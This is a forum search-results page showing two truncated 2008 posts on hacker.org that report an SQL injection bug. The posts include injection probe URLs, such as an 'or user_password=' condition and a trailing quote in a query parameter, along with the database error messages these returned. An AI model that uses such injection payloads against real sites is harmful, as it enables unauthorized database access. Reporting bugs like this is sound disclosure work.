Search found 2 matches

by hblf
Thu Aug 14, 2008 8:02 pm
Forum: The Hacker's Server
Topic: little bug.......sql injection
Replies: 1
Views: 17765

http://www.hacker.org/util/charthistory.php?userid=369%20or%20user_password='123'%20&game=coil result: No error. http://www.hacker.org/util/charthistory.php?userid=369%20or%20user_name='123'%20&game=coil result: Unknown column 'user_name' in 'where clause', qry: SELECT username FROM phpbb_us...
by hblf
Thu Aug 14, 2008 7:27 pm
Forum: The Hacker's Server
Topic: little bug.......sql injection
Replies: 1
Views: 17765

little bug.......sql injection

http://www.hacker.org/challenge/chal.php?id=39' result: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/.mazie/bok/hacker.org/challenge/chal.php on line 35 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versi...